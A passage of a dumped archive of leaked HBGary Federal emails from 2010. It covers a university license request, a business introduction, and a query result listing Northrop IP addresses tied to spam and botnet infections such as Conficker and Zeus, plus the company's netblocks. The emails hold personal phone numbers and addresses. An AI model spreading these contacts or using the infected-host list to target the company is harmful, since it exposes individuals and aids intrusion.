Spam : Tue Mar 24 00:59:00 2009 GMT\r\n\r\nIP : 132.228.198.188\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 132.228.221.184\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 132.228.235.100\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 158.114.46.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 158.114.60.87\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Jan 31 13:59:00 2009 GMT\r\n\r\nIP : 158.114.65.49\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Jan 16 20:59:00 2009 GMT\r\n\r\n198.17.147.0;198.17.147.255\r\n198.202.184.0;198.202.184.255\r\n192.135.212.0;192.135.212.255\r\n199.165.146.0;199.165.148.255\r\n198.180.218.0;198.180.218.255\r\n198.49.249.0;198.49.249.255\r\n192.135.211.0;192.135.211.255\r\n216.54.39.240;216.54.39.247\r\n216.54.92.104;216.54.92.111\r\n65.117.102.96;65.117.102.127\r\n65.112.186.160;65.112.186.175\r\n12.186.184.192;12.186.184.255\r\n12.182.30.224;12.182.30.255\r\n12.144.89.240;12.144.89.247\r\n12.48.17.0;12.48.17.63\r\n12.44.8.160;12.44.8.191\r\n12.54.59.240;12.54.59.247\r\n12.222.32.72;12.222.32.79\r\n192.150.240.0;192.150.240.255\r\n157.127.0.0;157.127.255.255\r\n192.153.43.0;192.153.43.255\r\n134.223.0.0;134.223.255.255\r\n155.104.0.0;155.104.255.255\r\n134.77.0.0;134.77.255.255\r\n132.228.0.0;132.228.255.255\r\n192.35.84.0;192.35.84.255\r\n158.114.0.0;158.114.255.255\r\n192.112.145.0;192.112.145.255\r\n137.51.0.0;137.51.255.255\r\n192.150.201.0;192.150.201.255\r\n63.174.11.128;63.174.11.255\r\n12.165.111.160;12.165.111.191\r\n12.154.90.0;12.154.90.255\r\n12.41.67.0;12.41.67.255\r\n12.187.24.192;12.187.24.223\r\n12.172.51.64;12.172.51.127\r\n12.44.11.184;12.44.11.191\r\n12.53.63.128;12.53.63.255\r\n12.144.223.112;12.144.223.127\r\n12.71.30.128;12.71.30.135\r\n12.204.106.112;12.204.106.119\r\n12.182.16.184;12.182.16.191\r\n12.69.72.24;12.69.72.31\r\n192.12.44.0;192.12.44.255\r\n128.99.0.0;128.99.255.255\r\n65.163.5.128;65.163.5.191\r\n206.229.114.64;206.229.114.127\r\n208.21.174.160;208.21.174.191\r\n65.162.155.24;65.162.155.31\r\n208.7.1.248;208.7.1.255\r\n65.163.34.48;65.163.34.55\r\n205.162.11.64;205.162.11.127\r\n205.244.158.104;205.244.158.111\r\n205.246.137.192;205.246.137.199\r\n206.228.172.96;206.228.172.103\r\n206.229.97.192;206.229.97.223\r\n208.19.16.160;208.19.16.191\r\n208.19.79.96;208.19.79.127\r\n208.20.149.232;208.20.149.239\r\n206.229.9.112;206.229.9.119\r\n208.2.203.64;208.2.203.71\r\n208.12.120.0;208.12.120.255\r\n208.12.121.0;208.12.121.255\r\n208.12.122.0;208.12.122.255\r\n204.97.84.72;204.97.84.79\r\n206.228.170.112;206.228.170.119\r\n63.175.65.0;63.175.65.31\r\n65.160.161.32;65.160.161.39\r\n65.161.169.208;65.161.169.215\r\n65.165.199.192;65.165.199.255\r\n65.168.235.0;65.168.235.255\r\n65.169.82.24;65.169.82.31\r\n204.118.7.96;204.118.7.127\r\n198.70.200.8;198.70.200.15\r\n204.118.7.128;204.118.7.255\r\n208.2.72.0;208.2.73.255\r\n208.4.26.32;208.4.26.63\r\n208.7.9.48;208.7.9.55\r\n208.8.12.112;208.8.12.119\r\n208.20.220.0;208.20.220.255\r\n208.23.198.16;208.23.198.23\r\n64.132.233.128;64.132.233.143\r\n216.74.147.168;216.74.147.175\r\n165.193.120.8;165.193.120.15\r\n12.52.81.240;12.52.81.247\r\n64.172.8.48;64.172.8.55\r\n68.89.81.208;68.89.81.215\r\n66.140.248.160;66.140.248.191\r\n66.138.220.168;66.138.220.175\r\n64.169.174.224;64.169.174.231\r\n67.113.106.56;67.113.106.63\r\n209.76.9.72;209.76.9.79\r\n208.239.171.168;208.239.171.175\r\n67.125.218.152;67.125.218.159\r\n65.66.7.56;65.66.7.63\r\n64.165.39.0;64.165.39.7\r\n67.121.9.152;67.121.9.159\r\n66.137.162.160;66.137.162.191\r\n68.163.82.80;68.163.82.95\r\n65.51.235.128;65.51.235.135\r\n208.251.123.192;208.251.123.199\r\n71.134.82.0;71.134.82.127\r\n65.197.250.240;65.197.250.247\r\n65.215.44.24;65.215.44.31\r\n70.106.7.96;70.106.7.127\r\n64.83.35.160;64.83.35.167\r\n69.27.88.192;69.27.88.199\r\n24.38.23.120;24.38.23.127\r\n216.180.63.0;216.180.63.15\r\n66.20.216.40;66.20.216.47\r\n64.165.24.216;64.165.24.223\r\n65.71.186.200;65.71.186.207\r\n64.170.94.64;64.170.94.71\r\n63.203.2.232;63.203.2.239\r\n63.204.213.200;63.204.213.207\r\n68.121.176.232;68.121.176.239\r\n66.126.161.216;66.126.161.223\r\n64.163.147.136;64.163.147.143\r\n68.121.178.128;68.121.178.135\r\n64.168.19.16;64.168.19.23\r\n68.123.245.104;68.123.245.111\r\n67.112.183.48;67.112.183.55\r\n65.242.59.120;65.242.59.127\r\n69.110.86.248;69.110.86.255\r\n63.206.114.184;63.206.114.191\r\n63.202.191.32;63.202.191.39\r\n63.203.33.88;63.203.33.95\r\n69.232.11.144;69.232.11.159\r\n71.134.16.96;71.134.16.103\r\n71.138.233.96;71.138.233.127\r\n71.140.96.200;71.140.96.207\r\n75.5.171.248;75.5.171.255\r\n75.9.138.144;75.9.138.151\r\n99.178.89.88;99.178.89.95\r\n99.178.89.96;99.178.89.103\r\n99.183.154.168;99.183.154.175\r\n99.187.102.112;99.187.102.119\r\n69.108.130.72;69.108.130.79\r\n63.194.2.168;63.194.2.175\r\n155.212.219.192;155.212.219.255\r\n65.246.82.160;65.246.82.175\r\n204.15.19.216;204.15.19.223\r\n208.255.145.224;208.255.145.231\r\n65.210.81.168;65.210.81.175\r\n67.192.98.136;67.192.98.143\r\n98.129.175.24;98.129.175.31\r\n65.242.89.128;65.242.89.135\r\n67.123.171.144;67.123.171.151\r\n71.131.118.224;71.131.118.231\r\n65.71.179.248;65.71.179.255\r\n70.137.78.24;70.137.78.31\r\n76.229.68.240;76.229.68.247\r\n69.37.71.88;69.37.71.95\r\n70.248.205.0;70.248.205.7\r\n71.128.76.56;71.128.76.63\r\n71.128.180.176;71.128.180.183\r\n71.133.15.88;71.133.15.95\r\n71.140.131.80;71.140.131.87\r\n70.132.154.112;70.132.154.119\r\n71.158.76.48;71.158.76.63\r\n76.195.149.232;76.195.149.239\r\n76.202.202.208;76.202.202.223\r\n99.181.230.184;99.181.230.191\r\n99.181.230.192;99.181.230.199\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/04/10\r\n02:25:00\r\n\r\n',12252,'aaron_hbgary_com/12252.html'),(7057,'2010-06-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005136.M163024P14101Q1912.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Jim Richards\" <jim@hbgary.com>','RE: Colorado Tech','Ted,\r\n\r\nI usually turn over these educational opportunities to Jim Richards,\r\nHBGary\'s director of training. Jim is copied on this email.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 11:58 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik; Barr Aaron\r\nSubject: Colorado Tech\r\n\r\nPenny asked us to meet up with John Tesch from Colorado Technical\r\nUniversity (CTU) after she met him at CIC in Vegas.  Aaron and I met\r\nwith John last night to learn more about what he\'s trying to\r\naccomplish and how he thinks HBGary can help.\r\n\r\nHe has worked hard over the last few years trying to establish CTU as\r\na leader in digital\r\nforensics studies.  Today he is flying to NSA to receive CTU\'s\r\ncertification as an NSA academic center of excellence for computer\r\nsecurity, an honor bestowed upon less than 100 schools.\r\n\r\nJohn is developing a memory forensics course and he would like to center\r\nmuch\r\nof the content and labs around HBGary Responder.  He is looking for 24\r\nlicenses, one for each workstation in their student security lab. He\r\nhas very limited budget, and would like to offer up in exchange for\r\nthe licenses, an HBGary sign to be prominently displayed at the lab\r\nentrance, exposing students to HBGary products throughout the course,\r\nand promoting HBGary through CTU hosted venues such as ISSA meetings,\r\netc.\r\n\r\nHe needs to know the cost and get everything formalized as\r\nquickly as possible because it takes time to develop the course\r\nmaterial and promote the class.\r\n\r\nQuestions:\r\n\r\n1.  How much would we charge for the 24 licenses.\r\n2.  Can CTU have permission to use Responder as a teaching aid / topic\r\nduring the course, and is a formal agreement needed for this?\r\n3.  I\'m a bit concerned that their teaching a Responder focused course\r\nmay diminish demand for HBGary training in Colorado Springs, should we\r\ntry to negotiate a deal with CTU which would allow us to be\r\ncompensated for teaching the Responder portions of the class?\r\n\r\nTed\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/04/10\r\n02:25:00\r\n\r\n',10701,'aaron_hbgary_com/10701.html'),(7058,'2010-06-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005136.M403100P14101Q1913.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Services opportunity','Aaron,\r\n\r\nBoth emails I had for Charlie are bogus. It will best for you to call him.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 12:20 PM\r\nTo: cscuilla@cox.net\r\nCc: Bob Slapnik\r\nSubject: Re: Services opportunity\r\n\r\nHi Charlie,\r\n\r\nI am pretty open on Monday.  When you would you like to meet?\r\n\r\nAaron\r\n\r\nOn Jun 2, 2010, at 2:42 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nEmail to IOMAXIS account bounced, so I am trying a personal email I have for\r\nCharlie.\r\n \r\n \r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Wednesday, June 02, 2010 4:37 PM\r\nTo: \'scuilla@iomaxis.com\'; \'Aaron Barr\'\r\nSubject: Services opportunity\r\n \r\nCharlie - Meet Aaron Barr, CEO of HBGary Federal.  Their mission is gov\'t\r\nservices.  They have all necessary clearances and are highly skilled in our\r\nkinds of work.\r\n \r\nAaron - Meet Charlie Scuilla of IOMAXIS.  He works with Brad Buhr.  Charlie\r\nwants to discuss an opportunity at IOC.  He suggested you talk next Monday.\r\n \r\nNumbers..\r\nAaron - 719-510-8478\r\nCharlie - 703-869-9319\r\n \r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/04/10\r\n02:25:00\r\n\r\n',16209,'aaron_hbgary_com/16209.html'),(7059,'2010-06-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005136.M632117P14101Q1914.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Jim Richards\" <jim@hbgary.com>','RE: Colorado Tech','Ted was a student of John\'s and this is in Colorado Springs.  We are also\r\ngoing to have Ted do a DHS training there and we have an opp to do another\r\none on the East Coast as well\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, June 04, 2010 10:26 AM\r\nTo: \'Ted Vera\'; \'Penny Leavy\'; \'Barr Aaron\'; \'Jim Richards\'\r\nSubject: RE: Colorado Tech\r\n\r\nTed,\r\n\r\nI usually turn over these educational opportunities to Jim Richards,\r\nHBGary\'s director of training. Jim is copied on this email.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 11:58 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik; Barr Aaron\r\nSubject: Colorado Tech\r\n\r\nPenny asked us to meet up with John Tesch from Colorado Technical\r\nUniversity (CTU) after she met him at CIC in Vegas.  Aaron and I met\r\nwith John last night to learn more about what he\'s trying to\r\naccomplish and how he thinks HBGary can help.\r\n\r\nHe has worked hard over the last few years trying to establish CTU as\r\na leader in digital\r\nforensics studies.  Today he is flying to NSA to receive CTU\'s\r\ncertification as an NSA academic center of excellence for computer\r\nsecurity, an honor bestowed upon less than 100 schools.\r\n\r\nJohn is developing a memory forensics course and he would like to center\r\nmuch\r\nof the content and labs around HBGary Responder.  He is looking for 24\r\nlicenses, one for each workstation in their student security lab. He\r\nhas very limited budget, and would like to offer up in exchange for\r\nthe licenses, an HBGary sign to be prominently displayed at the lab\r\nentrance, exposing students to HBGary products throughout the course,\r\nand promoting HBGary through CTU hosted venues such as ISSA meetings,\r\netc.\r\n\r\nHe needs to know the cost and get everything formalized as\r\nquickly as possible because it takes time to develop the course\r\nmaterial and promote the class.\r\n\r\nQuestions:\r\n\r\n1.  How much would we charge for the 24 licenses.\r\n2.  Can CTU have permission to use Responder as a teaching aid / topic\r\nduring the course, and is a formal agreement needed for this?\r\n3.  I\'m a bit concerned that their teaching a Responder focused course\r\nmay diminish demand for HBGary training in Colorado Springs, should we\r\ntry to negotiate a deal with CTU which would allow us to be\r\ncompensated for teaching the Responder portions of the class?\r\n\r\nTed\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/04/10\r\n02:25:00\r\n\r\n\r\n',7893,'aaron_hbgary_com/7893.html'),(7060,'2010-06-04','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297005136.M861738P14101Q1915.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: IP Query Results','Forwarded to Mark Leary (per his request), please let me know if this\r\ngoes further as would like to know the end results. \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 8:49 AM\r\nTo: Barr Aaron; Winterfeld, Steven P (TASC); Lirette, Dave (TASC)\r\nSubject: IP Query Results\r\n\r\nSteve / Dave\r\n\r\nBelow are the results from our brief demo yesterday.  Listed first are\r\nthe Northrop IP addresses that have been linked to botnet activities,\r\nfollowed by a complete listing of the Northrop netblocks (per ARIN\r\nrecords) we queried against the EndGame database:\r\n\r\nIP : 12.48.17.62\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n	Spam : Wed Mar 25 07:59:00 2009 GMT\r\n\r\nIP : 157.127.26.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 157.127.30.93\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 157.127.62.193\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 157.127.63.67\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 157.127.69.88\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 157.127.84.210\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan  2 11:59:00 2009 GMT\r\n\r\nIP : 157.127.84.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 157.127.101.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 157.127.101.198\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 09:59:00 2009 GMT\r\n\r\nIP : 157.127.114.172\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 157.127.134.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 10:59:00 2009 GMT\r\n\r\nIP : 157.127.150.183\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 157.127.155.214\r\nConfidence : 35.152796%\r\nEvents :\r\n	Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n\r\nIP : 157.127.172.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 14:59:00 2009 GMT\r\n\r\nIP : 157.127.195.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 157.127.195.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 157.127.203.218\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 157.127.229.95\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.223.35.149\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 134.223.46.22\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 134.223.46.123\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 134.223.74.16\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 14:59:00 2009 GMT\r\n\r\nIP : 134.223.82.192\r\nConfidence : 24.031133%\r\nEvents :\r\n	Spam : Mon Jan 18 16:59:00 2010 GMT\r\n\r\nIP : 134.223.99.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 17:59:00 2009 GMT\r\n\r\nIP : 134.223.114.177\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 134.223.150.38\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 134.223.157.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 134.223.168.212\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 134.223.188.179\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 134.223.204.114\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 134.223.210.166\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 24 03:59:00 2009 GMT\r\n\r\nIP : 134.223.214.47\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 155.104.37.18\r\nConfidence : 10%\r\nEvents :\r\n	Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n\r\nIP : 155.104.108.227\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 155.104.117.79\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 22:59:00 2009 GMT\r\n\r\nIP : 155.104.143.204\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 00:59:00 2009 GMT\r\n\r\nIP : 155.104.149.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 08:59:00 2009 GMT\r\n\r\nIP : 155.104.169.216\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 155.104.186.69\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 00:59:00 2009 GMT\r\n\r\nIP : 155.104.195.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 02:59:00 2009 GMT\r\n\r\nIP : 155.104.253.160\r\nConfidence : 10%\r\nEvents :\r\n	Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n	Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n\r\nIP : 134.77.62.31\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.77.154.194\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 134.77.199.29\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 134.77.203.242\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 134.77.214.197\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 134.77.254.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan 14 06:59:00 2009 GMT\r\n\r\nIP : 132.228.4.253\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 09:59:00 2009 GMT\r\n\r\nIP : 132.228.28.219\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Jan 11 18:59:00 2009 GMT\r\n\r\nIP : 132.228.40.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 07:59:00 2009 GMT\r\n\r\nIP : 132.228.47.162\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 17 21:59:00 2009 GMT\r\n\r\nIP : 132.228.61.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 22 12:59:00 2009 GMT\r\n\r\nIP : 132.228.85.231\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 26 08:59:00 2009 GMT\r\n\r\nIP : 132.228.97.130\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 21:59:00 2009 GMT\r\n\r\nIP : 132.228.99.229\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 132.228.100.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 132.228.111.117\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 18:59:00 2009 GMT\r\n\r\nIP : 132.228.115.77\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 19 05:59:00 2009 GMT\r\n\r\nIP : 132.228.156.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 132.228.157.141\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 21 18:59:00 2009 GMT\r\n\r\nIP : 132.228.167.144\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 02:59:00 2009 GMT\r\n\r\nIP : 132.228.178.113\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 132.228.181.94\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 24 00:59:00 2009 GMT\r\n\r\nIP : 132.228.198.188\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 132.228.221.184\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 132.228.235.100\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 158.114.46.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 158.114.60.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Jan 31 13:59:00 2009 GMT\r\n\r\nIP : 158.114.65.49\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 16 20:59:00 2009 GMT\r\n\r\n198.17.147.0;198.17.147.255\r\n198.202.184.0;198.202.184.255\r\n192.135.212.0;192.135.212.255\r\n199.165.146.0;199.165.148.255\r\n198.180.218.0;198.180.218.255\r\n198.49.249.0;198.49.249.255\r\n192.135.211.0;192.135.211.255\r\n216.54.39.240;216.54.39.247\r\n216.54.92.104;216.54.92.111\r\n65.117.102.96;65.117.102.127\r\n65.112.186.160;65.112.186.175\r\n12.186.184.192;12.186.184.255\r\n12.182.30.224;12.182.30.255\r\n12.144.89.240;12.144.89.247\r\n12.48.17.0;12.48.17.63\r\n12.44.8.160;12.44.8.191\r\n12.54.59.240;12.54.59.247\r\n12.222.32.72;12.222.32.79\r\n192.150.240.0;192.150.240.255\r\n157.127.0.0;157.127.255.255\r\n192.153.43.0;192.153.43.255\r\n134.223.0.0;134.223.255.255\r\n155.104.0.0;155.104.255.255\r\n134.77.0.0;134.77.255.255\r\n132.228.0.0;132.228.255.255\r\n192.35.84.0;192.35.84.255\r\n158.114.0.0;158.114.255.255\r\n192.112.145.0;192.112.145.255\r\n137.51.0.0;137.51.255.255\r\n192.150.201.0;192.150.201.255\r\n63.174.11.128;63.174.11.255\r\n12.165.111.160;12.165.111.191\r\n12.154.90.0;12.154.90.255\r\n12.41.67.0;12.41.67.255\r\n12.187.24.192;12.187.24.223\r\n12.172.51.64;12.172.51.127\r\n12.44.11.184;12.44.11.191\r\n12.53.63.128;12.53.63.255\r\n12.144.223.112;12.144.223.127\r\n12.71.30.128;12.71.30.135\r\n12.204.106.112;12.204.106.119\r\n12.182.16.184;12.182.16.191\r\n12.69.72.24;12.69.72.31\r\n192.12.44.0;192.12.44.255\r\n128.99.0.0;128.99.255.255\r\n65.163.5.128;65.163.5.191\r\n206.229.114.64;206.229.114.127\r\n208.21.174.160;208.21.174.191\r\n65.162.155.24;65.162.155.31\r\n208.7.1.248;208.7.1.255\r\n65.163.34.48;65.163.34.55\r\n205.162.11.64;205.162.11.127\r\n205.244.158.104;205.244.158.111\r\n205.246.137.192;205.246.137.199\r\n206.228.172.96;206.228.172.103\r\n206.229.97.192;206.229.97.223\r\n208.19.16.160;208.19.16.191\r\n208.19.79.96;208.19.79.127\r\n208.20.149.232;208.20.149.239\r\n206.229.9.112;206.229.9.119\r\n208.2.203.64;208.2.203.71\r\n208.12.120.0;208.12.120.255\r\n208.12.121.0;208.12.121.255\r\n208.12.122.0;208.12.122.255\r\n204.97.84.72;204.97.84.79\r\n206.228.170.112;206.228.170.119\r\n63.175.65.0;63.175.65.31\r\n65.160.161.32;65.160.161.39\r\n65.161.169.208;65.161.169.215\r\n65.165.199.192;65.165.199.255\r\n65.168.235.0;65.168.235.255\r\n65.169.82.24;65.169.82.31\r\n204.118.7.96;204.118.7.127\r\n198.70.200.8;198.70.200.15\r\n204.118.7.128;204.118.7.255\r\n208.2.72.0;208.2.73.255\r\n208.4.26.32;208.4.26.63\r\n208.7.9.48;208.7.9.55\r\n208.8.12.112;208.8.12.119\r\n208.20.220.0;208.20.220.255\r\n208.23.198.16;208.23.198.23\r\n64.132.233.128;64.132.233.143\r\n216.74.147.168;216.74.147.175\r\n165.193.120.8;165.193.120.15\r\n12.52.81.240;12.52.81.247\r\n64.172.8.48;64.172.8.55\r\n68.89.81.208;68.89.81.215\r\n66.140.248.160;66.140.248.191\r\n66.138.220.168;66.138.220.175\r\n64.169.174.224;64.169.174.231\r\n67.113.106.56;67.113.106.63\r\n209.76.9.72;209.76.9.79\r\n208.239.171.168;208.239.171.175\r\n67.125.218.152;67.125.218.159\r\n65.66.7.56;65.66.7.63\r\n64.165.39.0;64.165.39.7\r\n67.121.9.152;67.121.9.159\r\n66.137.162.160;66.137.162.191\r\n68.163.82.80;68.163.82.95\r\n65.51.235.128;65.51.235.135\r\n208.251.123.192;208.251.123.199\r\n71.134.82.0;71.134.82.127\r\n65.197.250.240;65.197.250.247\r\n65.215.44.24;65.215.44.31\r\n70.106.7.96;70.106.7.127\r\n64.83.35.160;64.83.35.167\r\n69.27.88.192;69.27.88.199\r\n24.38.23.120;24.38.23.127\r\n216.180.63.0;216.180.63.15\r\n66.20.216.40;66.20.216.47\r\n64.165.24.216;64.165.24.223\r\n65.71.186.200;65.71.186.207\r\n64.170.94.64;64.170.94.71\r\n63.203.2.232;63.203.2.239\r\n63.204.213.200;63.204.213.207\r\n68.121.176.232;68.121.176.239\r\n66.126.161.216;66.126.161.223\r\n64.163.147.136;64.163.147.143\r\n68.121.178.128;68.121.178.135\r\n64.168.19.16;64.168.19.23\r\n68.123.245.10